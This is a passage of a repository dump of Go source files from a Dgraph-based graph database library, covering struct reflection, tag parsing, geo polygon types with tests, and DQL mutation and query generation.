CreateDynamicStruct(t reflect.Type, fieldToJson map[string]string, depth int) reflect.Type { 85 | fields := make([]reflect.StructField, 0, len(fieldToJson)) 86 | for fieldName, jsonName := range fieldToJson { 87 | field, _ := t.FieldByName(fieldName) 88 | if fieldName != "Gid" { 89 | if IsStructAndNotDgraphType(field) { 90 | if depth <= 1 { 91 | tagMaps, _ := GetFieldTags(field.Type) 92 | nestedType := CreateDynamicStruct(field.Type, tagMaps.FieldToJson, depth+1) 93 | fields = append(fields, reflect.StructField{ 94 | Name: field.Name, 95 | Type: nestedType, 96 | Tag: reflect.StructTag(fmt.Sprintf(`json:"%s.%s"`, t.Name(), jsonName)), 97 | }) 98 | } 99 | } else if field.Type.Kind() == reflect.Ptr && 100 | IsStructAndNotDgraphType(field) { 101 | tagMaps, _ := GetFieldTags(field.Type.Elem()) 102 | nestedType := CreateDynamicStruct(field.Type.Elem(), tagMaps.FieldToJson, depth+1) 103 | fields = append(fields, reflect.StructField{ 104 | Name: field.Name, 105 | Type: reflect.PointerTo(nestedType), 106 | Tag: reflect.StructTag(fmt.Sprintf(`json:"%s.%s"`, t.Name(), jsonName)), 107 | }) 108 | } else if field.Type.Kind() == reflect.Slice && 109 | field.Type.Elem().Kind() == reflect.Struct { 110 | tagMaps, _ := GetFieldTags(field.Type.Elem()) 111 | nestedType := CreateDynamicStruct(field.Type.Elem(), tagMaps.FieldToJson, depth+1) 112 | fields = append(fields, reflect.StructField{ 113 | Name: field.Name, 114 | Type: reflect.SliceOf(nestedType), 115 | Tag: reflect.StructTag(fmt.Sprintf(`json:"%s.%s"`, t.Name(), jsonName)), 116 | }) 117 | } else { 118 | fields = append(fields, reflect.StructField{ 119 | Name: field.Name, 120 | Type: field.Type, 121 | Tag: reflect.StructTag(fmt.Sprintf(`json:"%s.%s"`, t.Name(), jsonName)), 122 | }) 123 | } 124 | 125 | } 126 | } 127 | fields = append(fields, reflect.StructField{ 128 | Name: "Gid", 129 | Type: reflect.TypeOf(""), 130 | Tag: reflect.StructTag(`json:"gid"`), 131 | }, reflect.StructField{ 132 | Name: "DgraphType", 133 | Type: reflect.TypeOf([]string{}), 134 | Tag: reflect.StructTag(`json:"dgraph.type"`), 135 | }) 136 | return reflect.StructOf(fields) 137 | } 138 | 139 | func MapDynamicToFinal(dynamic any, final any, isNested bool) (uint64, error) { 140 | vFinal := reflect.ValueOf(final).Elem() 141 | vDynamic := reflect.ValueOf(dynamic).Elem() 142 | 143 | gid := uint64(0) 144 | 145 | for i := 0; i < vDynamic.NumField(); i++ { 146 | 147 | dynamicField := vDynamic.Type().Field(i) 148 | dynamicFieldType := dynamicField.Type 149 | dynamicValue := vDynamic.Field(i) 150 | 151 | var finalField reflect.Value 152 | if dynamicField.Name == "Gid" { 153 | finalField = vFinal.FieldByName("Gid") 154 | gidStr := dynamicValue.String() 155 | gid, _ = strconv.ParseUint(gidStr, 0, 64) 156 | } else if dynamicField.Name == "DgraphType" { 157 | fieldArrInterface := dynamicValue.Interface() 158 | fieldArr, ok := fieldArrInterface.([]string) 159 | if ok { 160 | if len(fieldArr) == 0 { 161 | if !isNested { 162 | return 0, apiutils.ErrNoObjFound 163 | } else { 164 | continue 165 | } 166 | } 167 | } else { 168 | return 0, fmt.Errorf("DgraphType field should be an array of strings") 169 | } 170 | } else { 171 | finalField = vFinal.FieldByName(dynamicField.Name) 172 | } 173 | //if dynamicFieldType.Kind() == reflect.Struct { 174 | if IsStructAndNotDgraphType(dynamicField) { 175 | _, err := MapDynamicToFinal(dynamicValue.Addr().Interface(), finalField.Addr().Interface(), true) 176 | if err != nil { 177 | return 0, err 178 | } 179 | } else if dynamicFieldType.Kind() == reflect.Ptr && 180 | IsStructAndNotDgraphType(dynamicField) { 181 | // if field is a pointer, find if the underlying is a struct 182 | _, err := MapDynamicToFinal(dynamicValue.Interface(), finalField.Interface(), true) 183 | if err != nil { 184 | return 0, err 185 | } 186 | } else if dynamicFieldType.Kind() == reflect.Slice && 187 | dynamicFieldType.Elem().Kind() == reflect.Struct { 188 | for j := 0; j < dynamicValue.Len(); j++ { 189 | sliceElem := dynamicValue.Index(j).Addr().Interface() 190 | finalSliceElem := reflect.New(finalField.Type().Elem()).Elem() 191 | _, err := MapDynamicToFinal(sliceElem, finalSliceElem.Addr().Interface(), true) 192 | if err != nil { 193 | return 0, err 194 | } 195 | finalField.Set(reflect.Append(finalField, finalSliceElem)) 196 | } 197 | } else { 198 | if finalField.IsValid() && finalField.CanSet() { 199 | // if field name is gid, convert it to uint64 200 | if dynamicField.Name == "Gid" { 201 | finalField.SetUint(gid) 202 | } else { 203 | finalField.Set(dynamicValue) 204 | } 205 | } 206 | } 207 | } 208 | return gid, nil 209 | } 210 | 211 | func ConvertDynamicToTyped[T any](obj any, t reflect.Type) (uint64, T, error) { 212 | var result T 213 | finalObject := reflect.New(t).Interface() 214 | gid, err := MapDynamicToFinal(obj, finalObject, false) 215 | if err != nil { 216 | return 0, result, err 217 | } 218 | 219 | if typedPtr, ok := finalObject.(*T); ok { 220 | return gid, *typedPtr, nil 221 | } else if dirType, ok := finalObject.(T); ok { 222 | return gid, dirType, nil 223 | } 224 | return 0, result, fmt.Errorf("failed to convert type %T to %T", finalObject, obj) 225 | } 226 | 227 | func GetUniqueConstraint[T any](object T) (uint64, *keyValue, error) { 228 | t := reflect.TypeOf(object) 229 | tagMaps, err := GetFieldTags(t) 230 | if err != nil { 231 | return 0, nil, err 232 | } 233 | jsonTagToValue := GetJsonTagToValues(object, tagMaps.FieldToJson) 234 | 235 | for jsonName, value := range jsonTagToValue { 236 | if jsonName == "gid" { 237 | gid, ok := value.(uint64) 238 | if !ok { 239 | continue 240 | } 241 | if gid != 0 { 242 | return gid, nil, nil 243 | } 244 | } 245 | if tagMaps.JsonToDb[jsonName] != nil && IsValidUniqueIndex(tagMaps.JsonToDb[jsonName].Constraint) { 246 | // check if value is zero or nil 247 | if value == reflect.Zero(reflect.TypeOf(value)).Interface() || value == nil { 248 | continue 249 | } 250 | return 0, &keyValue{key: jsonName, value: value}, nil 251 | } 252 | } 253 | 254 | return 0, nil, fmt.Errorf(apiutils.NoUniqueConstr, t.Name()) 255 | } 256 | 257 | func IsValidUniqueIndex(name string) bool { 258 | return name == "unique" 259 | } 260 | -------------------------------------------------------------------------------- /api/structreflect/tagparser.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: © Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package structreflect 7 | 8 | import ( 9 | "fmt" 10 | "reflect" 11 | "strings" 12 | 13 | "github.com/hypermodeinc/modusgraph/api/apiutils" 14 | ) 15 | 16 | func parseJsonTag(field reflect.StructField) (string, error) { 17 | jsonTag := field.Tag.Get("json") 18 | if jsonTag == "" { 19 | return "", fmt.Errorf("field %s has no json tag", field.Name) 20 | } 21 | return strings.Split(jsonTag, ",")[0], nil 22 | } 23 | 24 | func parseDbTag(field reflect.StructField) *DbTag { 25 | dbConstraintsTag := field.Tag.Get("db") 26 | if dbConstraintsTag == "" { 27 | return nil 28 | } 29 | 30 | dbTag := &DbTag{} 31 | dbTagsSplit := strings.Split(dbConstraintsTag, ",") 32 | for _, tag := range dbTagsSplit { 33 | split := strings.Split(tag, "=") 34 | if split[0] == "constraint" { 35 | dbTag.Constraint = split[1] 36 | } 37 | } 38 | return dbTag 39 | } 40 | 41 | func parseReverseEdgeTag(field reflect.StructField) (string, error) { 42 | reverseEdgeTag := field.Tag.Get("readFrom") 43 | if reverseEdgeTag == "" { 44 | return "", nil 45 | } 46 | 47 | typeAndField := strings.Split(reverseEdgeTag, ",") 48 | if len(typeAndField) != 2 { 49 | return "", fmt.Errorf(`field %s has invalid readFrom tag, expected format is type=,field=`, field.Name) 50 | } 51 | 52 | t := strings.Split(typeAndField[0], "=")[1] 53 | f := strings.Split(typeAndField[1], "=")[1] 54 | return apiutils.GetPredicateName(t, f), nil 55 | } 56 | -------------------------------------------------------------------------------- /api/structreflect/tags.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: © Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package structreflect 7 | 8 | type DbTag struct { 9 | Constraint string 10 | } 11 | 12 | type TagMaps struct { 13 | FieldToJson map[string]string 14 | JsonToDb map[string]*DbTag 15 | JsonToReverseEdge map[string]string 16 | } 17 | -------------------------------------------------------------------------------- /api/structreflect/value_extractor.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: © Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package structreflect 7 | 8 | import ( 9 | "reflect" 10 | ) 11 | 12 | func GetJsonTagToValues(object any, fieldToJsonTags map[string]string) map[string]any { 13 | values := make(map[string]any) 14 | v := reflect.ValueOf(object) 15 | for v.Kind() == reflect.Ptr { 16 | v = v.Elem() 17 | } 18 | 19 | for fieldName, jsonName := range fieldToJsonTags { 20 | fieldValue := v.FieldByName(fieldName) 21 | values[jsonName] = fieldValue.Interface() 22 | } 23 | return values 24 | } 25 | -------------------------------------------------------------------------------- /api/types.go: -------------------------------------------------------------------------------- 1 | package api 2 | 3 | type Point struct { 4 | Type string `json:"type,omitempty"` 5 | Coordinates []float64 `json:"coordinates,omitempty"` 6 | } 7 | 8 | type Polygon struct { 9 | Type string `json:"type,omitempty"` 10 | Coordinates [][][]float64 `json:"coordinates,omitempty"` 11 | } 12 | 13 | type MultiPolygon = Polygon 14 | 15 | func NewPolygon(coordinates [][]float64) *Polygon { 16 | polygon := &Polygon{ 17 | Type: "Polygon", 18 | Coordinates: [][][]float64{coordinates}, 19 | } 20 | return polygon 21 | } 22 | 23 | func NewMultiPolygon(coordinates [][][]float64) *MultiPolygon { 24 | multiPolygon := &MultiPolygon{ 25 | Type: "MultiPolygon", 26 | Coordinates: coordinates, 27 | } 28 | return multiPolygon 29 | } 30 | -------------------------------------------------------------------------------- /api/types_test.go: -------------------------------------------------------------------------------- 1 | package api 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/require" 7 | ) 8 | 9 | func TestNewPolygon(t *testing.T) { 10 | coordinates := [][]float64{ 11 | {-122.083506, 37.4259518}, // Northwest 12 | {-122.081506, 37.4259518}, // Northeast 13 | {-122.081506, 37.4239518}, // Southeast 14 | {-122.083506, 37.4239518}, // Southwest 15 | {-122.083506, 37.4259518}, // Close the polygon 16 | } 17 | 18 | polygon := NewPolygon(coordinates) 19 | require.NotNil(t, polygon) 20 | require.Len(t, polygon.Coordinates, 1) 21 | require.Equal(t, coordinates, polygon.Coordinates[0]) 22 | } 23 | 24 | func TestNewMultiPolygon(t *testing.T) { 25 | coordinates := [][][]float64{ 26 | { 27 | {-122.083506, 37.4259518}, 28 | {-122.081506, 37.4259518}, 29 | {-122.081506, 37.4239518}, 30 | {-122.083506, 37.4239518}, 31 | {-122.083506, 37.4259518}, 32 | }, 33 | { 34 | {-122.073506, 37.4359518}, 35 | {-122.071506, 37.4359518}, 36 | {-122.071506, 37.4339518}, 37 | {-122.073506, 37.4339518}, 38 | {-122.073506, 37.4359518}, 39 | }, 40 | } 41 | 42 | multiPolygon := NewMultiPolygon(coordinates) 43 | require.NotNil(t, multiPolygon) 44 | require.Equal(t, "MultiPolygon", multiPolygon.Type) 45 | require.Equal(t, coordinates, multiPolygon.Coordinates) 46 | } 47 | -------------------------------------------------------------------------------- /api_mutation_gen.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: © Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package modusgraph 7 | 8 | import ( 9 | "context" 10 | "fmt" 11 | "reflect" 12 | "strings" 13 | 14 | "github.com/dgraph-io/dgo/v240/protos/api" 15 | "github.com/hypermodeinc/dgraph/v24/dql" 16 | "github.com/hypermodeinc/dgraph/v24/protos/pb" 17 | "github.com/hypermodeinc/dgraph/v24/schema" 18 | "github.com/hypermodeinc/dgraph/v24/x" 19 | "github.com/hypermodeinc/modusgraph/api/apiutils" 20 | "github.com/hypermodeinc/modusgraph/api/dgraphtypes" 21 | "github.com/hypermodeinc/modusgraph/api/mutations" 22 | "github.com/hypermodeinc/modusgraph/api/structreflect" 23 | ) 24 | 25 | func generateSetDqlMutationsAndSchema[T any](ctx context.Context, n *Namespace, object T, 26 | gid uint64, dms *[]*dql.Mutation, sch *schema.ParsedSchema) error { 27 | t := reflect.TypeOf(object) 28 | if t.Kind() != reflect.Struct { 29 | return fmt.Errorf("expected struct, got %s", t.Kind()) 30 | } 31 | 32 | tagMaps, err := structreflect.GetFieldTags(t) 33 | if err != nil { 34 | return err 35 | } 36 | jsonTagToValue := structreflect.GetJsonTagToValues(object, tagMaps.FieldToJson) 37 | 38 | nquads := make([]*api.NQuad, 0) 39 | uniqueConstraintFound := false 40 | for jsonName, value := range jsonTagToValue { 41 | 42 | reflectValueType := reflect.TypeOf(value) 43 | var nquad *api.NQuad 44 | 45 | if tagMaps.JsonToReverseEdge[jsonName] != "" { 46 | reverseEdgeStr := tagMaps.JsonToReverseEdge[jsonName] 47 | typeName := strings.Split(reverseEdgeStr, ".")[0] 48 | currSchema, err := getSchema(ctx, n) 49 | if err != nil { 50 | return err 51 | } 52 | 53 | typeFound := false 54 | predicateFound := false 55 | for _, t := range currSchema.Types { 56 | if t.Name == typeName { 57 | typeFound = true 58 | for _, f := range t.Fields { 59 | if f.Name == reverseEdgeStr { 60 | predicateFound = true 61 | break 62 | } 63 | } 64 | break 65 | } 66 | } 67 | 68 | if !(typeFound && predicateFound) { 69 | if err := mutations.HandleReverseEdge(jsonName, reflectValueType, n.ID(), sch, 70 | reverseEdgeStr); err != nil { 71 | return err 72 | } 73 | } 74 | continue 75 | } 76 | if jsonName == "gid" { 77 | uniqueConstraintFound = true 78 | continue 79 | } 80 | 81 | value, err = processStructValue(ctx, value, n) 82 | if err != nil { 83 | return err 84 | } 85 | 86 | value, err = processPointerValue(ctx, value, n) 87 | if err != nil { 88 | return err 89 | } 90 | 91 | nquad, u, err := mutations.CreateNQuadAndSchema(value, gid, jsonName, t, n.ID()) 92 | if err != nil { 93 | return err 94 | } 95 | 96 | uniqueConstraintFound, err = dgraphtypes.HandleConstraints(u, tagMaps.JsonToDb, 97 | jsonName, u.ValueType, uniqueConstraintFound) 98 | if err != nil { 99 | return err 100 | } 101 | 102 | sch.Preds = append(sch.Preds, u) 103 | // Handle nil object values - only skip geo types with nil values 104 | if nquad.ObjectValue == nil && (strings.Contains(nquad.Predicate, ".multiArea") || 105 | strings.Contains(nquad.Predicate, ".area") || 106 | strings.Contains(nquad.Predicate, ".loc")) { 107 | continue 108 | } 109 | nquads = append(nquads, nquad) 110 | } 111 | if !uniqueConstraintFound { 112 | return fmt.Errorf(apiutils.NoUniqueConstr, t.Name()) 113 | } 114 | 115 | sch.Types = append(sch.Types, &pb.TypeUpdate{ 116 | TypeName: apiutils.AddNamespace(n.ID(), t.Name()), 117 | Fields: sch.Preds, 118 | }) 119 | 120 | val, err := dgraphtypes.ValueToApiVal(t.Name()) 121 | if err != nil { 122 | return err 123 | } 124 | typeNquad := &api.NQuad{ 125 | Namespace: n.ID(), 126 | Subject: fmt.Sprint(gid), 127 | Predicate: "dgraph.type", 128 | ObjectValue: val, 129 | } 130 | nquads = append(nquads, typeNquad) 131 | 132 | *dms = append(*dms, &dql.Mutation{ 133 | Set: nquads, 134 | }) 135 | 136 | return nil 137 | } 138 | 139 | func generateDeleteDqlMutations(n *Namespace, gid uint64) []*dql.Mutation { 140 | return []*dql.Mutation{{ 141 | Del: []*api.NQuad{ 142 | { 143 | Namespace: n.ID(), 144 | Subject: fmt.Sprint(gid), 145 | Predicate: x.Star, 146 | ObjectValue: &api.Value{ 147 | Val: &api.Value_DefaultVal{DefaultVal: x.Star}, 148 | }, 149 | }, 150 | }, 151 | }} 152 | } 153 | -------------------------------------------------------------------------------- /api_mutation_helpers.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: © Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package modusgraph 7 | 8 | import ( 9 | "context" 10 | "fmt" 11 | "reflect" 12 | 13 | "github.com/hypermodeinc/dgraph/v24/dql" 14 | "github.com/hypermodeinc/dgraph/v24/protos/pb" 15 | "github.com/hypermodeinc/dgraph/v24/query" 16 | "github.com/hypermodeinc/dgraph/v24/schema" 17 | "github.com/hypermodeinc/dgraph/v24/worker" 18 | "github.com/hypermodeinc/modusgraph/api/apiutils" 19 | "github.com/hypermodeinc/modusgraph/api/structreflect" 20 | ) 21 | 22 | func processStructValue(ctx context.Context, value any, ns *Namespace) (any, error) { 23 | if !structreflect.IsDgraphType(value) && reflect.TypeOf(value).Kind() == reflect.Struct { 24 | value = reflect.ValueOf(value).Interface() 25 | newGid, err := getUidOrMutate(ctx, ns.engine, ns, value) 26 | if err != nil { 27 | return nil, err 28 | } 29 | return newGid, nil 30 | } 31 | return value, nil 32 | } 33 | 34 | func processPointerValue(ctx context.Context, value any, ns *Namespace) (any, error) { 35 | reflectValueType := reflect.TypeOf(value) 36 | if reflectValueType.Kind() == reflect.Pointer { 37 | reflectValueType = reflectValueType.Elem() 38 | if reflectValueType.Kind() == reflect.Struct { 39 | value = reflect.ValueOf(value).Elem().Interface() 40 | return processStructValue(ctx, value, ns) 41 | } 42 | } 43 | return value, nil 44 | } 45 | 46 | func getUidOrMutate[T any](ctx context.Context, engine *Engine, ns *Namespace, object T) (uint64, error) { 47 | gid, cfKeyValue, err := structreflect.GetUniqueConstraint[T](object) 48 | if err != nil { 49 | return 0, err 50 | } 51 | var cf *ConstrainedField 52 | if cfKeyValue != nil { 53 | cf = &ConstrainedField{Key: cfKeyValue.Key(), Value: cfKeyValue.Value()} 54 | } 55 | 56 | dms := make([]*dql.Mutation, 0) 57 | sch := &schema.ParsedSchema{} 58 | err = generateSetDqlMutationsAndSchema(ctx, ns, object, gid, &dms, sch) 59 | if err != nil { 60 | return 0, err 61 | } 62 | 63 | err = engine.alterSchemaWithParsed(ctx, sch) 64 | if err != nil { 65 | return 0, err 66 | } 67 | if gid != 0 || cf != nil { 68 | gid, err = getExistingObject(ctx, ns, gid, cf, object) 69 | if err != nil && err != apiutils.ErrNoObjFound { 70 | return 0, err 71 | } 72 | if err == nil { 73 | return gid, nil 74 | } 75 | } 76 | 77 | gid, err = engine.z.nextUID() 78 | if err != nil { 79 | return 0, err 80 | } 81 | 82 | dms = make([]*dql.Mutation, 0) 83 | err = generateSetDqlMutationsAndSchema(ctx, ns, object, gid, &dms, sch) 84 | if err != nil { 85 | return 0, err 86 | } 87 | 88 | err = applyDqlMutations(ctx, engine, dms) 89 | if err != nil { 90 | return 0, err 91 | } 92 | 93 | return gid, nil 94 | } 95 | 96 | func applyDqlMutations(ctx context.Context, engine *Engine, dms []*dql.Mutation) error { 97 | edges, err := query.ToDirectedEdges(dms, nil) 98 | if err != nil { 99 | return err 100 | } 101 | 102 | if !engine.isOpen.Load() { 103 | return ErrClosedEngine 104 | } 105 | 106 | startTs, err := engine.z.nextTs() 107 | if err != nil { 108 | return err 109 | } 110 | commitTs, err := engine.z.nextTs() 111 | if err != nil { 112 | return err 113 | } 114 | 115 | m := &pb.Mutations{ 116 | GroupId: 1, 117 | StartTs: startTs, 118 | Edges: edges, 119 | } 120 | m.Edges, err = query.ExpandEdges(ctx, m) 121 | if err != nil { 122 | return fmt.Errorf("error expanding edges: %w", err) 123 | } 124 | 125 | p := &pb.Proposal{Mutations: m, StartTs: startTs} 126 | if err := worker.ApplyMutations(ctx, p); err != nil { 127 | return err 128 | } 129 | 130 | return worker.ApplyCommited(ctx, &pb.OracleDelta{ 131 | Txns: []*pb.TxnStatus{{StartTs: startTs, CommitTs: commitTs}}, 132 | }) 133 | } 134 | -------------------------------------------------------------------------------- /api_query_execution.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: © Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package modusgraph 7 | 8 | import ( 9 | "context" 10 | "encoding/json" 11 | "fmt" 12 | "reflect" 13 | 14 | "github.com/hypermodeinc/modusgraph/api/apiutils" 15 | "github.com/hypermodeinc/modusgraph/api/querygen" 16 | "github.com/hypermodeinc/modusgraph/api/structreflect" 17 | ) 18 | 19 | func getByGid[T any](ctx context.Context, ns *Namespace, gid uint64) (uint64, T, error) { 20 | return executeGet[T](ctx, ns, gid) 21 | } 22 | 23 | func getByGidWithObject[T any](ctx context.Context, ns *Namespace, gid uint64, obj T) (uint64, T, error) { 24 | return executeGetWithObject[T](ctx, ns, obj, false, gid) 25 | } 26 | 27 | func getByConstrainedField[T any](ctx context.Context, ns *Namespace, cf ConstrainedField) (uint64, T, error) { 28 | return executeGet[T](ctx, ns, cf) 29 | } 30 | 31 | func getByConstrainedFieldWithObject[T any](ctx context.Context, ns *Namespace, 32 | cf ConstrainedField, obj T) (uint64, T, error) { 33 | 34 | return executeGetWithObject[T](ctx, ns, obj, false, cf) 35 | } 36 | 37 | func executeGet[T any, R UniqueField](ctx context.Context, ns *Namespace, args ...R) (uint64, T, error) { 38 | var obj T 39 | if len(args) != 1 { 40 | return 0, obj, fmt.Errorf("expected 1 argument, got %ds", len(args)) 41 | } 42 | 43 | return executeGetWithObject(ctx, ns, obj, true, args...) 44 | } 45 | 46 | func executeGetWithObject[T any, R UniqueField](ctx context.Context, ns *Namespace, 47 | obj T, withReverse bool, args ...R) (uint64, T, error) { 48 | t := reflect.TypeOf(obj) 49 | 50 | tagMaps, err := structreflect.GetFieldTags(t) 51 | if err != nil { 52 | return 0, obj, err 53 | } 54 | readFromQuery := "" 55 | if withReverse { 56 | for jsonTag, reverseEdgeTag := range tagMaps.JsonToReverseEdge { 57 | readFromQuery += fmt.Sprintf(querygen.ReverseEdgeQuery, 58 | apiutils.GetPredicateName(t.Name(), jsonTag), reverseEdgeTag) 59 | } 60 | } 61 | 62 | var cf ConstrainedField 63 | var query string 64 | gid, ok := any(args[0]).(uint64) 65 | if ok { 66 | query = querygen.FormatObjQuery(querygen.BuildUidQuery(gid), readFromQuery) 67 | } else if cf, ok = any(args[0]).(ConstrainedField); ok { 68 | query = querygen.FormatObjQuery(querygen.BuildEqQuery(apiutils.GetPredicateName(t.Name(), 69 | cf.Key), cf.Value), readFromQuery) 70 | } else { 71 | return 0, obj, fmt.Errorf("invalid unique field type") 72 | } 73 | 74 | if tagMaps.JsonToDb[cf.Key] != nil && tagMaps.JsonToDb[cf.Key].Constraint == "" { 75 | return 0, obj, fmt.Errorf("constraint not defined for field %s", cf.Key) 76 | } 77 | 78 | resp, err := ns.engine.queryWithLock(ctx, ns, query, nil) 79 | if err != nil { 80 | return 0, obj, err 81 | } 82 | 83 | dynamicType := structreflect.CreateDynamicStruct(t, tagMaps.FieldToJson, 1) 84 | 85 | dynamicInstance := reflect.New(dynamicType).Interface() 86 | 87 | var result struct { 88 | Obj []any `json:"obj"` 89 | } 90 | 91 | result.Obj = append(result.Obj, dynamicInstance) 92 | 93 | // Unmarshal the JSON response into the dynamic struct 94 | if err := json.Unmarshal(resp.Json, &result); err != nil { 95 | return 0, obj, err 96 | } 97 | 98 | // Check if we have at least one object in the response 99 | if len(result.Obj) == 0 { 100 | return 0, obj, apiutils.ErrNoObjFound 101 | } 102 | 103 | return structreflect.ConvertDynamicToTyped[T](result.Obj[0], t) 104 | } 105 | 106 | func executeQuery[T any](ctx context.Context, ns *Namespace, queryParams QueryParams, 107 | withReverse bool) ([]uint64, []T, error) { 108 | var obj T 109 | t := reflect.TypeOf(obj) 110 | tagMaps, err := structreflect.GetFieldTags(t) 111 | if err != nil { 112 | return nil, nil, err 113 | } 114 | 115 | var filterQueryFunc querygen.QueryFunc = func() string { 116 | return "" 117 | } 118 | var paginationAndSorting string 119 | if queryParams.Filter != nil { 120 | filterQueryFunc = filtersToQueryFunc(t.Name(), *queryParams.Filter) 121 | } 122 | if queryParams.Pagination != nil || queryParams.Sorting != nil { 123 | var pagination, sorting string 124 | if queryParams.Pagination != nil { 125 | pagination = paginationToQueryString(*queryParams.Pagination) 126 | } 127 | if queryParams.Sorting != nil { 128 | sorting = sortingToQueryString(t.Name(), *queryParams.Sorting) 129 | } 130 | paginationAndSorting = fmt.Sprintf("%s %s", pagination, sorting) 131 | } 132 | 133 | readFromQuery := "" 134 | if withReverse { 135 | for jsonTag, reverseEdgeTag := range tagMaps.JsonToReverseEdge { 136 | readFromQuery += fmt.Sprintf(querygen.ReverseEdgeQuery, apiutils.GetPredicateName(t.Name(), jsonTag), reverseEdgeTag) 137 | } 138 | } 139 | 140 | query := querygen.FormatObjsQuery(t.Name(), filterQueryFunc, paginationAndSorting, readFromQuery) 141 | 142 | resp, err := ns.engine.queryWithLock(ctx, ns, query, nil) 143 | if err != nil { 144 | return nil, nil, err 145 | } 146 | 147 | dynamicType := structreflect.CreateDynamicStruct(t, tagMaps.FieldToJson, 1) 148 | 149 | var result struct { 150 | Objs []any `json:"objs"` 151 | } 152 | 153 | var tempMap map[string][]any 154 | if err := json.Unmarshal(resp.Json, &tempMap); err != nil { 155 | return nil, nil, err 156 | } 157 | 158 | // Determine the number of elements 159 | numElements := len(tempMap["objs"]) 160 | 161 | // Append the interface the correct number of times 162 | for i := 0; i < numElements; i++ { 163 | result.Objs = append(result.Objs, reflect.New(dynamicType).Interface()) 164 | } 165 | 166 | // Unmarshal the JSON response into the dynamic struct 167 | if err := json.Unmarshal(resp.Json, &result); err != nil { 168 | return nil, nil, err 169 | } 170 | 171 | gids := make([]uint64, len(result.Objs)) 172 | objs := make([]T, len(result.Objs)) 173 | for i, obj := range result.Objs { 174 | gid, typedObj, err := structreflect.ConvertDynamicToTyped[T](obj, t) 175 | if err != nil { 176 | return nil, nil, err 177 | } 178 | gids[i] = gid 179 | objs[i] = typedObj 180 | } 181 | 182 | return gids, objs, nil 183 | } 184 | 185 | func getExistingObject[T any](ctx context.Context, ns *Namespace, gid uint64, cf *ConstrainedField, 186 | object T) (uint64, error) { 187 | var err error 188 | if gid != 0 { 189 | gid, _, err = getByGidWithObject[T](ctx, ns, gid, object) 190 | } else if cf != nil { 191 | gid, _, err = getByConstrainedFieldWithObject[T](ctx, ns, *cf, object) 192 | } 193 | if err != nil { 194 | return 0, err 195 | } 196 | return gid, nil 197 | } 198 | 199 | func getSchema(ctx context.Context, ns *Namespace) (*querygen.SchemaResponse, error) { 200 | resp, err := ns.engine.queryWithLock(ctx, ns, querygen.SchemaQuery, nil) 201 | if err != nil { 202 | return nil, err 203 | } 204 | 205 | var schema querygen.SchemaResponse 206 | if err := json.Unmarshal(resp.Json, &schema); err != nil { 207 | return nil, err 208 | } 209 | return &schema, nil 210 | } 211 | -------------------------------------------------------------------------------- /api_types.go: -------------------------------------------------------------------------------- 1 | /* 2 | * SPDX-FileCopyrightText: © Hypermode Inc. 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | package modusgraph 7 | 8 | import ( 9 | "context" 10 | "fmt" 11 | "strings" 12 | 13 | "github.com/hypermodeinc/dgraph/v24/x" 14 | "github.com/hypermodeinc/modusgraph/api/apiutils" 15 | "github.com/hypermodeinc/modusgraph/api/querygen" 16 | ) 17 | 18 | type UniqueField interface { 19 | uint64 | ConstrainedField 20 | } 21 | type ConstrainedField struct { 22 | Key string 23 | Value any 24 | } 25 | 26 | type QueryParams struct { 27 | Filter *Filter 28 | Pagination *Pagination 29 | Sorting *Sorting 30 | } 31 | 32 | type Filter struct { 33 | Field string 34 | String StringPredicate 35 | Vector VectorPredicate 36 | And *Filter 37 | Or *Filter 38 | Not *Filter 39 | } 40 | 41 | type Pagination struct { 42 | Limit int64 43 | Offset int64 44 | After string 45 | } 46 | 47 | type Sorting struct { 48 | OrderAscField string 49 | OrderDescField string 50 | OrderDescFirst bool 51 | } 52 | 53 | type StringPredicate struct { 54 | Equals string 55 | LessThan string 56 | LessOrEqual string 57 | GreaterThan string 58 | GreaterOrEqual string 59 | AllOfTerms []string 60 | AnyOfTerms []string 61 | AllOfText []string 62 | AnyOfText []string 63 | RegExp string 64 | } 65 | 66 | type VectorPredicate struct { 67 | SimilarTo []float32 68 | TopK int64 69 | } 70 | 71 | type ModusDbOption func(*modusDbOptions) 72 | 73 | type modusDbOptions struct { 74 | ns uint64 75 | } 76 | 77 | func WithNamespaceOLD(ns uint64) ModusDbOption { 78 | return func(o *modusDbOptions) { 79 | o.ns = ns 80 | } 81 | } 82 | 83 | func getDefaultNamespace(ctx context.Context, engine *Engine, nsId ...uint64) (context.Context, *Namespace, error) { 84 | dbOpts := &modusDbOptions{ 85 | ns: engine.db0.ID(), 86 | } 87 | for _, ns := range nsId { 88 | WithNamespaceOLD(ns)(dbOpts) 89 | } 90 | 91 | d, err := engine.getNamespaceWithLock(dbOpts.ns) 92 | if err != nil { 93 | return nil, nil, err 94 | } 95 | 96 | ctx = x.AttachNamespace(ctx, d.ID()) 97 | 98 | return ctx, d, nil 99 | } 100 | 101 | func filterToQueryFunc(typeName string, f Filter) querygen.QueryFunc { 102 | // Handle logical operators first 103 | if f.And != nil { 104 | return querygen.And(filterToQueryFunc(typeName, *f.And)) 105 | } 106 | if f.Or != nil { 107 | return querygen.Or(filterToQueryFunc(typeName, *f.Or)) 108 | } 109 | if f.Not != nil { 110 | return querygen.Not(filterToQueryFunc(typeName, *f.Not)) 111 | } 112 | 113 | // Handle field predicates 114 | if f.String.Equals != "" { 115 | return querygen.BuildEqQuery(apiutils.GetPredicateName(typeName, f.Field), f.String.Equals) 116 | } 117 | if len(f.String.AllOfTerms) != 0 { 118 | return 